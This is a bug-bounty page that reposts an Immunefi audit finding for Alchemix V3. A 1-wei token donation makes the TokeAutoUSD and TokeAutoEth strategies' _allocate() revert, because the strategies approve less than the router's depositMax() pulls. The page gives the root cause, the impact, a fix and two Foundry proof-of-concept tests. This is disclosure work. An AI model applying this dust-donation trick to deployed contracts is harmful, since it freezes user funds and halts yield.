Skip to content
DoS Audit finding Intermediate

TokeAutoUSDStrategy::_allocate() and TokeAutoEthStrategy::_allocate() may suffer a denial-of-service (DoS) due to token amount mismatch in AutopilotRouter::depositMax()

The strategy's _allocate() approves only the requested amount to the router, but the router's depositMax() pulls the strategy's entire token balance, which can be made larger by anyone sending a tiny amount of tokens. An attacker can send 1 wei to the strategy, causing every _allocate() call to revert and temporarily freezing funds and halting yield generation.

joicygiore Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

56522 sc medium tokeautousdstrategy allocate and tokeautoethstrategy allocate may suffer a denial of service dos due to token amount mismatch in autopilotrouter depositmax

Submitted on Oct 17th 2025 at 08:22:19 UTC by @joicygiore for Audit Comp | Alchemix V3

Description

Brief/Intro

An attacker can send a minimal amount of tokens (e.g., 1 wei) to the TokeAutoUSDStrategy or TokeAutoEthStrategy contract, which causes the subsequent _allocate() call to revert, resulting in a persistent DoS of the strategy allocation process.

Vulnerability Details

The AutopilotRouter::depositMax() function calculates the deposit amount as the minimum of the caller’s balance and the vault’s maxDeposit() limit, as shown below:

JavaScript
    /// @inheritdoc IAutopilotRouter
    function depositMax(
        IAutopool vault,
        address to,
        uint256 minSharesOut
    ) public payable override returns (uint256 sharesOut) {
        IERC20 asset = IERC20(vault.asset());
        
@>1        uint256 assetBalance = asset.balanceOf(msg.sender);
@>2        uint256 maxDeposit = vault.maxDeposit(to);
@>3        uint256 amount = maxDeposit < assetBalance ? maxDeposit : assetBalance;
@>4        pullToken(asset, amount, address(this));

        approve(IERC20(vault.asset()), address(vault), amount);
        return deposit(vault, to, amount, minSharesOut);
    }

The function PeripheryPayments::pullToken() transfers the token from msg.sender to the router:

JavaScript
    // PeripheryPayments::pullToken()
    function pullToken(IERC20 token, uint256 amount, address recipient) public payable {
        token.safeTransferFrom(msg.sender, recipient, amount);
    }

However, in the strategy implementation (TokeAutoUSDStrategy::_allocate() and TokeAutoEthStrategy::_allocate()), the strategy only grants approval equal to the amount parameter, while the router attempts to pull the full token balance of the contract.

JavaScript
    function _allocate(uint256 amount) internal override returns (uint256) {
        require(TokenUtils.safeBalanceOf(address(usdc), address(this)) >= amount, "Strategy balance is less than amount");
        TokenUtils.safeApprove(address(usdc), address(router), amount);
        uint256 shares = router.depositMax(autoUSD, address(this), 0);
        TokenUtils.safeApprove(address(autoUSD), address(rewarder), shares);
        rewarder.stake(address(this), shares);
        return amount;
    }

If a malicious user transfers even 1 wei of the same token to the strategy contract, the router’s pullToken() call will attempt to transfer the total balance (which is slightly larger than the approved amount), causing the call to revert and halting the _allocate() execution.

Impact Details

  1. Denial of Service (DoS):
    • The strategy’s _allocate() function becomes non-functional. As it reverts on every call, the protocol cannot deposit or reallocate funds to the target vaults, effectively halting yield generation.
  2. Yield Interruption:
    • Since no new funds can be deposited, the strategy cannot earn yield or rewards from the target Autopools. This causes prolonged yield interruption for all users whose deposits are managed by this strategy.
  3. Operational Impact:
    • The issue can persist indefinitely until the stray 1 wei token is manually removed.
    • Automated rebalancing or reallocation scripts may fail continuously.
    • Potentially affects the system’s composability if other strategies or contracts depend on successful allocation.
  4. User Funds:
    • User funds are not directly stolen or lost, but they remain temporarily frozen within the strategy contract until manual intervention.

References

TokeAutoUSDStrategy::_allocate() TokeAutoEthStrategy::_allocate() AutopilotRouter::depositMax() AutopilotRouter::depositMax()

Recommendation

To mitigate this issue, the strategy can replace the use of AutopilotRouter::depositMax() with AutopilotRouter::depositBalance().

Unlike depositMax(), which attempts to pull tokens from msg.sender and may revert if the approved amount is smaller than the actual balance, depositBalance() directly deposits the contract’s internal balance into the vault.

This approach ensures:

  • the function operates atomically using only internal state,
  • no external safeTransferFrom() call is made,
  • and any extra dust tokens in the contract do not cause revert conditions.

Hence, using depositBalance() eliminates the DoS vector entirely and provides a more robust and flexible deposit mechanism.

Proof of Concept

Proof of Concept

Add the following test to src/test/strategies/TokeAutoUSDStrategy.t.sol and run it:

JavaScript
    function test_poc_TokeAutoUSDStrategy_allocate() public {
        vm.stopPrank();

        // init maliciousUser
        address maliciousUser = makeAddr("maliciousUser");
        deal(testConfig.vaultAsset, maliciousUser, 1);
        uint256 amountToAllocate = 1 * 10 ** testConfig.decimals;
        deal(testConfig.vaultAsset, strategy, amountToAllocate);
        bytes memory prevAllocationAmount = abi.encode(0);
        
        // maliciousUser transfer 1 wei to strategy
        vm.prank(maliciousUser);
        (bool success,) = testConfig.vaultAsset.call(
        abi.encodeWithSignature("transfer(address,uint256)", address(strategy), 1));
        require(success);

        // check balance
        assertEq(IERC20(testConfig.vaultAsset).balanceOf(address(strategy)), amountToAllocate + 1);


        vm.startPrank(vault);
        // Allowance amount less than balance causes call revert ❌
        vm.expectRevert();
        IMYTStrategy(strategy).allocate(prevAllocationAmount, amountToAllocate, "", address(vault));
        uint256 initialRealAssets = IMYTStrategy(strategy).realAssets();
        require(initialRealAssets == 0, "Initial real assets isn't 0");
        vm.stopPrank();
    }

Add the following test to src/test/strategies/TokeAutoETHStrategy.t.sol and run it:

JavaScript
    function test_poc_TokeAutoEthStrategy_allocate() public {
        vm.stopPrank();

        // init maliciousUser
        address maliciousUser = makeAddr("maliciousUser");
        deal(testConfig.vaultAsset, maliciousUser, 1);
        uint256 amountToAllocate = 1 * 10 ** testConfig.decimals;
        deal(testConfig.vaultAsset, strategy, amountToAllocate);
        bytes memory prevAllocationAmount = abi.encode(0);
        
        // maliciousUser transfer 1 wei to strategy
        vm.prank(maliciousUser);
        (bool success,) = testConfig.vaultAsset.call(
        abi.encodeWithSignature("transfer(address,uint256)", address(strategy), 1));
        require(success);

        // check balance
        assertEq(IERC20(testConfig.vaultAsset).balanceOf(address(strategy)), amountToAllocate + 1);


        vm.startPrank(vault);
        // Allowance amount less than balance causes call revert ❌
        vm.expectRevert();
        IMYTStrategy(strategy).allocate(prevAllocationAmount, amountToAllocate, "", address(vault));
        uint256 initialRealAssets = IMYTStrategy(strategy).realAssets();
        require(initialRealAssets == 0, "Initial real assets isn't 0");
        vm.stopPrank();
    }

The original report as published on Immunefi, by joicygiore. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the mismatch between the amount approved by the strategy and the full balance pulled by the router's depositMax(), which uses the caller's token balance rather than the approved amount.

Impact

The strategy's _allocate() function becomes non-functional, temporarily freezing user funds and halting yield generation until the stray tokens are manually removed.

What the attacker needed

Attacker can send tokens to the strategy

The fix

The strategy should use AutopilotRouter::depositBalance() instead of depositMax() to avoid pulling external tokens and prevent the DoS.

How it was found

  1. An attacker sends 1 wei of the vault asset token directly to the strategy contract.
  2. The strategy's balance becomes the intended allocation amount plus 1 wei.
  3. When the vault calls allocate(), the strategy approves only the intended amount to the router.
  4. The router's depositMax() tries to pull the strategy's entire balance, which exceeds the approval, so the transfer reverts.
  5. The allocate() call reverts, and the strategy cannot deposit funds.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A strategy contract approves a router to move a specific number of tokens, but the router tries to move the strategy's whole balance instead. If someone sends even a tiny extra amount of that token to the strategy, the router's attempt fails because the approved number is now too small. This makes the strategy's deposit function always fail, so funds are stuck until someone manually removes the extra tokens.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by joicygiore

View all

11 more disclosed reports, best first.

More from Alchemix V3

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.